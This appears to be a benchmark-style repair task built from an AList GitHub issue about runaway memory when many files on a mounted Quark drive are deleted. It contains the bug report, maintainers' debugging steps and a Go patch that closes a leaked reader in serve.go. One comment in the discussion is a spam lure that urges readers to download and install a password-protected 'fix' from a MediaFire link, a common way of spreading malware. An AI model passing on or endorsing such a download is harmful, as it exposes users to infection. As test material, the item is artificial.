Repository: AlistGo/alist (language: go)

Issue:
挂载夸克，删除大量文件时，内存会爆
### Please make sure of the following things

- [X] I have read the [documentation](https://alist.nn.ci).
我已经阅读了[文档](https://alist.nn.ci)。

- [X] I'm sure there are no duplicate issues or discussions.
我确定没有重复的issue或讨论。

- [X] I'm sure it's due to `AList` and not something else(such as [Network](https://alist.nn.ci/faq/howto.html#tls-handshake-timeout-read-connection-reset-by-peer-dns-lookup-failed-connect-connection-refused-client-timeout-exceeded-while-awaiting-headers-no-such-host) ,`Dependencies` or `Operational`).
我确定是`AList`的问题，而不是其他原因（例如[网络](https://alist.nn.ci/zh/faq/howto.html#tls-handshake-timeout-read-connection-reset-by-peer-dns-lookup-failed-connect-connection-refused-client-timeout-exceeded-while-awaiting-headers-no-such-host)，`依赖`或`操作`）。

- [X] I'm sure this issue is not fixed in the latest version.
我确定这个问题在最新版本中没有被修复。


### AList Version / AList 版本

v3.36.0

### Driver used / 使用的存储驱动

夸克

### Describe the bug / 问题描述

挂载夸克，删除大量文件时，内存会爆，会占用到2G+的内存，直至主机死机

### Reproduction / 复现链接

夸克网盘上传或转存100+个小文件，随便找个webdav程序挂载alist，然后全部选中，删除，观察内存变化，即使没爆，增加的内存也不会回收，下次再操作又上涨，直至爆了

### Config / 配置

{
  "force": false,
  "site_url": "",
  "cdn": "",
  "jwt_secret": "aaaaaaaa",
  "token_expires_in": 48,
  "database": {
    "type": "sqlite3",
    "host": "",
    "port": 0,
    "user": "",
    "password": "",
    "name": "",
    "db_file": "data/data.db",
    "table_prefix": "x_",
    "ssl_mode": "",
    "dsn": ""
  },
  "meilisearch": {
    "host": "http://localhost:7700",
    "api_key": "",
    "index_prefix": ""
  },
  "scheme": {
    "address": "0.0.0.0",
    "http_port": 5244,
    "https_port": -1,
    "force_https": false,
    "cert_file": "",
    "key_file": "",
    "unix_file": "",
    "unix_file_perm": ""
  },
  "temp_dir": "data/temp",
  "bleve_dir": "data/bleve",
  "dist_dir": "",
  "log": {
    "enable": true,
    "name": "data/log/log.log",
    "max_size": 50,
    "max_backups": 30,
    "max_age": 28,
    "compress": false
  },
  "delayed_start": 0,
  "max_connections": 0,
  "tls_insecure_skip_verify": true,
  "tasks": {
    "download": {
      "workers": 5,
      "max_retry": 1
    },
    "transfer": {
      "workers": 5,
      "max_retry": 2
    },
    "upload": {
      "workers": 5,
      "max_retry": 0
    },
    "copy": {
      "workers": 5,
      "max_retry": 2
    }
  },
  "cors": {
    "allow_origins": [
      "*"
    ],
    "allow_methods": [
      "*"
    ],
    "allow_headers": [
      "*"
    ]
  },
  "s3": {
    "enable": false,
    "port": 5246,
    "ssl": false
  }

### Logs / 日志

_No response_


Discussion / hints:
Thanks for opening your first issue here! Be sure to follow the issue template!

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."
再次反馈：我从v3.36.0退回到v3.25.1后，意外发现一切都正常了，docker限制内存只给700M，实际使用中最大也没超过350M，配置没有做任何改动
再再次反馈：v3.25.1虽然内存正常，但发现夸克看视频缓冲要2，3秒，可能是驱动太老了，于是从最新的v3.36.0一直往回试，发现直到v3.34.0时内存正常了，夸克速度也正常了，目前的配置是缓存过期时间1分钟，内存基本不会超过300M

```
{
  "force": false,
  "site_url": "",
  "cdn": "",
  "jwt_secret": "xxxxxxxxxxx",
  "token_expires_in": 48,
  "database": {
    "type": "sqlite3",
    "host": "",
    "port": 0,
    "user": "",
    "password": "",
    "name": "",
    "db_file": "data/data.db",
    "table_prefix": "x_",
    "ssl_mode": "",
    "dsn": ""
  },
  "meilisearch": {
    "host": "http://localhost:7700",
    "api_key": "",
    "index_prefix": ""
  },
  "scheme": {
    "address": "0.0.0.0",
    "http_port": 5244,
    "https_port": -1,
    "force_https": false,
    "cert_file": "",
    "key_file": "",
    "unix_file": "",
    "unix_file_perm": ""
  },
  "temp_dir": "data/temp",
  "bleve_dir": "data/bleve",
  "dist_dir": "",
  "log": {
    "enable": true,
    "name": "data/log/log.log",
    "max_size": 50,
    "max_backups": 30,
    "max_age": 28,
    "compress": false
  },
  "delayed_start": 0,
  "max_connections": 0,
  "tls_insecure_skip_verify": true,
  "tasks": {
    "download": {
      "workers": 5,
      "max_retry": 1
    },
    "transfer": {
      "workers": 5,
      "max_retry": 2
    },
    "upload": {
      "workers": 5,
      "max_retry": 0
    },
    "copy": {
      "workers": 5,
      "max_retry": 2
    }
  },
  "cors": {
    "allow_origins": [
      "*"
    ],
    "allow_methods": [
      "*"
    ],
    "allow_headers": [
      "*"
    ]
  },
  "s3": {
    "enable": false,
    "port": 5246,
    "ssl": false
  }
}
```
v3.34.0版本简直离谱，闲置一段时间后内存占用减小到只有39M
![20240831110247](https://github.com/user-attachments/assets/5977e0e5-66f2-483c-9434-3b2c40d4fe47)

根据上文，我在稍微查阅代码后推测可能为：

+ go-resty 内存泄漏
+ sqlite driver 内存泄漏
+ http server 某处存在内存泄漏
+ 只是大并发操作下使用过多内存，未发生泄漏
我正在本地尝试复现问题，使用的环境：Linux amd64，k3s `v1.30.4 +k3s1` （Containerd）`mmx233/alist:v3.36.0-beta2-ffmpeg` （PR #7073 测试用镜像），Database：MySQL 8.2.0，Driver：Quark-UC，Monitor：Netdata latest

使用 DD 生成 2M 大小文件 100 个，从 local 复制到 Quark，六分钟后执行删除
未在此环境复现此 Issue 提到的问题

上传：

![image](https://github.com/user-attachments/assets/555433c3-31e0-45af-85d6-fbfc93c3f360)

删除：

![image](https://github.com/user-attachments/assets/68b47ca5-e945-4f0b-b34b-7adf4ad4f906)
创建测试专用容器，切换到 Database：sqlite，Image：`xhofe/alist:v3.36.0`，Configs：All Default

在 Quark Driver 中列出文件存在问题，无法很好地完成批量删除操作，但是基本可以确定不合理的内存占用没有发生

![image](https://github.com/user-attachments/assets/5c05e6e1-02e7-4365-b27a-2bf457fd8e1b)
上述监控图表所示指标为 RES（进程占用的物理内存）和 SHR（共享内存）的和

![image](https://github.com/user-attachments/assets/9ef121ef-2e53-473d-b728-61e46f55f388)
作为补充，在 Windows 下挂载 WebDav 并删除 100 个 Local Storage Driver 中的文件（测试环境1，MySQL），未能复现问题：

![image](https://github.com/user-attachments/assets/80bdd002-947e-4871-89b9-74f2c0b6ccf5)

上述测试均未复现内存高占用、内存未回收的问题。请提供更多相关信息或本地测试结果
感谢回复，可能还是环境不同的原因，我这里实测v3.36.0，随便刷几下，2分钟不到就可以刷爆（docker限制700M），但在v3.34.0下确实没问题，我再详细说一下我的复现步骤：

1.系统是debian11，alist安装的docker版本，安装命令如下：
```
docker run -d \
--restart=unless-stopped \
--net=macnet --ip=192.168.2.5 \
-v /opt/alist:/opt/alist/data \
-e PUID=0 \
-e PGID=0 \
-e UMASK=022 \
--name="alist" \
xhofe/alist:latest
```

再限制一下内存为700M
```
docker update alist --memory-swap -1 -m 700M
```

2.安装完成后，挂载夸克网盘，挂载路径/quark，本地代理，填上cookie，其他全部默认

3.夸克网盘随便找个电视剧转存一下，比如凡人修仙传，有100集

4.手机上安装流舟文件app（免费的），用webdav的方式挂载alist（我这直接用admin用户），打开/quark，找到电视剧，点进去，然后下拉刷新，此时会开始生成缩略图，观察alist内存，会发现一直上涨，且基本不会回收，如果内存没爆，就关闭流舟app，重复刚才的操作，基本上不到2分钟内存就会到达700M然后爆了，alist进程会自动重启变成几十M。
Alist 本身只在本地存储支持在本地生成缩略图，如果这个是流舟文件 app 的功能，那这很可能就是内存占用过高的主要原因
@Mmx233 其实其他操作也会导致内存爆，我只是那样举例哈，比如100个文件同时选中再删除也会爆，在v3.34.0下就都正常
鉴于我仍然无法在本地复现，请你在本地执行调试：

1. 在创建 Docker 容器时，指定 Command 和 Args：`docker run <image_name> <command> <args>`, 指定为 `docker run <image_name> /opt/alist/alist server --no-prefix --debug`
2. 尝试打开 pprof allocs 调试信息页面：`http(s)://YOUR_DOMAIN/debug/pprof/allocs?debug=1`，如果是 alist 界面说明第一步未成功
3. 进行一些操作，使内存暴增但未引起进程退出
4. 刷新第二步打开的页面，复制所有内容保存到 txt
5. 打开 `http(s)://YOUR_DOMAIN/debug/gc`，页面内容应为 `ok`
6. 重复第四步
7. 将两个 txt 文件使用步骤序号命名后上传到此 issue
@Mmx233 第1个txt是500多M时保存的，第2个是800多M时保存的
[1.txt](https://github.com/user-attachments/files/16828224/1.txt)
[2.txt](https://github.com/user-attachments/files/16828226/2.txt)


Fix patch:
diff --git a/internal/net/serve.go b/internal/net/serve.go
index e58d7eb9f46..0eb8cbb8866 100644
--- a/internal/net/serve.go
+++ b/internal/net/serve.go
@@ -87,9 +87,9 @@ func ServeHTTP(w http.ResponseWriter, r *http.Request, name string, modTime time
 	sendSize := size
 	var sendContent io.ReadCloser
 	ranges, err := http_range.ParseRange(rangeReq, size)
-	switch err {
-	case nil:
-	case http_range.ErrNoOverlap:
+	switch {
+	case err == nil:
+	case errors.Is(err, http_range.ErrNoOverlap):
 		if size == 0 {
 			// Some clients add a Range header to all requests to
 			// limit the size of the response. If the file is empty,
@@ -105,7 +105,7 @@ func ServeHTTP(w http.ResponseWriter, r *http.Request, name string, modTime time
 		return
 	}
 
-	if sumRangesSize(ranges) > size || size < 0 {
+	if sumRangesSize(ranges) > size {
 		// The total number of bytes in all the ranges is larger than the size of the file
 		// or unknown file size, ignore the range request.
 		ranges = nil
@@ -174,6 +174,7 @@ func ServeHTTP(w http.ResponseWriter, r *http.Request, name string, modTime time
 			pw.Close()
 		}()
 	}
+	defer sendContent.Close()
 
 	w.Header().Set("Accept-Ranges", "bytes")
 	if w.Header().Get("Content-Encoding") == "" {
@@ -192,7 +193,6 @@ func ServeHTTP(w http.ResponseWriter, r *http.Request, name string, modTime time
 			http.Error(w, err.Error(), http.StatusInternalServerError)
 		}
 	}
-	//defer sendContent.Close()
 }
 func ProcessHeader(origin, override http.Header) http.Header {
 	result := http.Header{}


Test patch: